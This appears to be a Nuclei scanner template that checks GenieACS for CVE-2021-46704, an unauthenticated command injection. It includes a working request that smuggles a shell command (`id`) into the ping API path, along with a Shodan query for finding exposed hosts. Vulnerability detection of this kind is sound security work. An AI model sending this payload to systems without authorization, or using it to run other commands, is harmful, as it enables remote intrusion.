61 lines
2.0 KiB
YAML
61 lines
2.0 KiB
YAML
id: CVE-2021-46704
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info:
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name: GenieACS => 1.2.8 - OS Command Injection
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author: DhiyaneshDK
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severity: critical
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description: |
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In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
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remediation: |
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Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.
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reference:
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- https://twitter.com/shaybt12/status/1671598239835906058
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- https://github.com/advisories/GHSA-2877-693q-pj33
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- https://nvd.nist.gov/vuln/detail/CVE-2021-46704
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- https://github.com/genieacs/genieacs/commit/7f295beeecc1c1f14308a93c82413bb334045af6
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- https://github.com/genieacs/genieacs/releases/tag/v1.2.8
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-46704
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cwe-id: CWE-78
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epss-score: 0.95193
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epss-percentile: 0.9917
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cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: genieacs
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product: genieacs
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shodan-query: http.favicon.hash:-2098066288
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tags: cve2021,cve,genieacs,rce
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http:
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- method: GET
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path:
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- "{{BaseURL}}/api/ping/;`id`"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- text/plain
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- type: regex
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part: body
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regex:
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- "uid=([0-9]+)"
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- type: status
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status:
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- 500
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extractors:
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- type: regex
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regex:
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- uid=(\d+)\((\w+)\)
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part: body
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# digest: 4b0a00483046022100b0b3ab2be1614ca33d045067e76ba2a69ed0db26e44dbdcdd2124237edc34359022100e7eace29621df05ae3059715189e5c6759a8359d6a84c6f1ff7ca449bd6f42fc:922c64590222798bb761d5b6d8e72950 |